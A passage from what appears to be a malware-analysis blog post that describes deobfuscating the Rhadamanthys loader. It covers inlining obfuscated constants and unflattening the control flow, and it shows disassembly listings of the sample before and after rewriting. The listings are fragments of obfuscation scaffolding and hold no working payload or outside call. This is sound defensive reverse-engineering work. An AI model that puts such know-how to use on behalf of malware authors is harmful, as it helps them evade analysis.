&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415059&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041505&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041505&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;1Ch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041505&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;F&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48CC00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415066&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebp&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415068&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The condition processing all happens in a single block at the top of the function and is pretty much decoupled from the jumps.
This is quite different from what we’ve been dealing with in larger functions.
Our patching approach is not suitable here, because we’d have to pretty much rewrite the entire function from scratch.&lt;/p&gt;

&lt;p&gt;In the end it’s not too big of a loss, though - these functions usually comprise only around 100 lines of assembly (most of which is obfuscator trash), so figuring out what they do by hand is doable.&lt;/p&gt;

&lt;h3 id=&quot;dealing-with-constants&quot;&gt;Dealing with constants&lt;/h3&gt;

&lt;p&gt;Let’s take a break from the control flow stuff for a moment and deal with something easier.&lt;/p&gt;

&lt;p&gt;For the constant obfuscation, there are basically two ways the memory load is done: Either there’s a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov&lt;/code&gt; with a load followed by an arithmetic operation with a constant - or it’s the other way around, where the arithmetic operation has the memory operand.
So in essence, we just need to look out for all &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov/movzx/add/sbb/sub/xor reg, [imm32]&lt;/code&gt; instructions.&lt;/p&gt;

&lt;p&gt;One problem is that such instructions can definitely appear as part of the underlying program, so we need some way to differentiate which ones are from the obfuscator and which ones must remain untouched. As it happens, if you collect all addresses and sort them, the ones from the obfuscator are clustered together.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEB4&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEB4&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;545AE7F4h&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560+EF0↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEB8&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEB8&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;372ECFB4h&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560+EFD↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEBC&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEBC&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;9B874143h&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560:loc_40C592↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEC0&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEC0&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;7A9F2473h&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560+203E↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEC4&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEC4&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;381897B5h&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560+205D↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEC8&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEC8&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560+1DC2↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEC9&lt;/span&gt;                 &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ign&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AECC&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AECC&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0D2B6F7Dh&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560:loc_40AE3E↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AED0&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AED0&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0D9E7D1Bh&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560+8EA↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AED4&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AED4&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0F813A068h&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40C8B0+C↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AED8&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AED8&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;66A48DFEh&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40C8B0+A3↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEDC&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEDC&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0E92E6D27h&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40C8B0+73↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEE0&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEE0&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;13A7AAC9h&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40C8B0+17↑r&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For this particular analysis, it makes sense to work at the program-level rather than individual functions.
The xrefs are not strictly linear and the more complete your picture is, the better.&lt;/p&gt;

&lt;p&gt;I found that valid addresses are at most 0x10 bytes away from each other, but sometimes there are gaps where there’s some other data in between clusters of obfuscator addresses.
For this sample, if you mandate that a valid cluster needs at least 10 addresses following the 0x10 rule, you will catch all obfuscator addresses.
Any outliers will be addresses belonging to the real code.&lt;/p&gt;

&lt;p&gt;Once we have that, we can simply replace all memory operands with their immediate values.
Patching is trivial, because in x86, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reg, imm32&lt;/code&gt; operands are always shorter or the same length as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reg, [imm32]&lt;/code&gt; operands, so we can’t run into space problems.&lt;/p&gt;

&lt;p&gt;I will forego actually fully folding the constants and leave that job to an optimizing decompiler.
One reason for that is certainly that there are nasty occurrences such as this:&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A868&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AE28&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A86D&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_3E4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A874&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;xorps&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;xmm0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;xmm0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A877&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;movups&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;xmmword&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0C5DAC1Ch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;xmm0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A87F&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;movups&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;xmmword&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0C5DAC2Ch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;xmm0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;figure id=&quot;rhada_not_toching&quot; class=&quot;figure-posts&quot; style=&quot;width: 60%; display:block; margin: auto; margin-bottom: -1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/11/rhada_not_toching.jpg&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/11/rhada_not_toching.jpg&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/11/rhada_not_toching.jpg&quot; alt=&quot;I&apos;m not touching this (meme)&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/11/rhada_not_toching.jpg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/11/rhada_not_toching.jpg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/11/rhada_not_toching.jpg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Replacing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov eax&lt;/code&gt; is enough for IDA’s decompiler to be able to figure things out.&lt;/p&gt;

&lt;p&gt;The constant inlining is implemented in &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/rhadamanthys-loader-deobfuscator/blob/main/deob_consts.py&quot;&gt;deob_consts.py&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;control-flow-unflattening&quot;&gt;Control flow unflattening&lt;/h3&gt;

&lt;p&gt;The final problem is the flattening, so let’s see what can be done about that.
I don’t want to see any huge-number-comparison spaghetti code anymore.&lt;/p&gt;

&lt;p&gt;There are some IDA plugins for unflattening that are based on microcode manipulation, such as &lt;a href=&quot;https://gitlab.com/eshard/d810&quot;&gt;D-810&lt;/a&gt;, and more recently, &lt;a href=&quot;https://github.com/KasperskyLab/hrtng&quot;&gt;hrtng&lt;/a&gt; (which contains an extended version of &lt;a href=&quot;https://github.com/RolfRolles/HexRaysDeob&quot;&gt;HexRaysDeob&lt;/a&gt;).
They all fail to deal with this particular variant of flattening.
I assume that it would be possible to make them compatible with some effort, but I’m not familiar with IDA microcode specifics and didn’t feel like getting into it for this project.
Plus I figured I could re-use quite a bit of the rewriting code that we already came up with for the jump deobfuscation.&lt;/p&gt;

&lt;p&gt;One (special?) thing about this flattener is that it doesn’t always go to the beginning of the dispatcher once it has assigned a new state variable.
If it can find another suitable point in the dispatcher it can jump to, it will do so.
This means that analyses looking at the parents of the “main” dispatcher block won’t work, because they’ll miss things.&lt;/p&gt;

&lt;p&gt;I chose a rather simplistic approach that seems to work well for this particular flattener:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Look for comparisons against the state register that are followed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jz&lt;/code&gt; (or in rare cases &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jnz&lt;/code&gt; where things are flipped). Create a mapping “state key → target”.&lt;/li&gt;
  &lt;li&gt;Look for assignments to the state register. The assignment value is asserted to be contained in the mapping created in step 1. At the end of the block, create jump(s) to the real target(s).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here’s an example of step 2 (unrelated instruction have been cut):&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B758&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_3B4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B760&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0B34CE2DFh&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; new state key&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B765&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jnz&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40C696&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B771&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B777&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jge&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40C6AD&lt;/span&gt;       &lt;span class=&quot;c1&quot;&gt;; never taken&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B77D&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40B6C0&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C696&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0FA72F85Ah&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; new state key&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C6A1&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C6A7&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jl&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;loc_40B77D&lt;/span&gt;       &lt;span class=&quot;c1&quot;&gt;; always taken (then goes straight to 40B6C0)&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C6AD&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40A607&lt;/span&gt;       &lt;span class=&quot;c1&quot;&gt;; dead&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After rewriting:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B758&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_3B4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B765&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jnz&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40C696&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B771&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; irrelevant leftover&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B777&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40BCAF&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; destination for 0B34CE2DFh&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C696&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;nop&lt;/span&gt;
                               &lt;span class=&quot;nf&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C6A1&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40C3AC&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; destination for 0FA72F85Ah&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;These sites are connected with a branch, but they are actually rewritten independently of each other; as you can see, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcc&lt;/code&gt; instructions unrelated to dispatching are left as-is (0x40B765).
The part where it goes to the dispatcher with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jge&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jl&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt; can be ignored and overwritten.&lt;/p&gt;

&lt;p&gt;Another example. Remember &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt;? It has come back to haunt us.&lt;/p&gt;

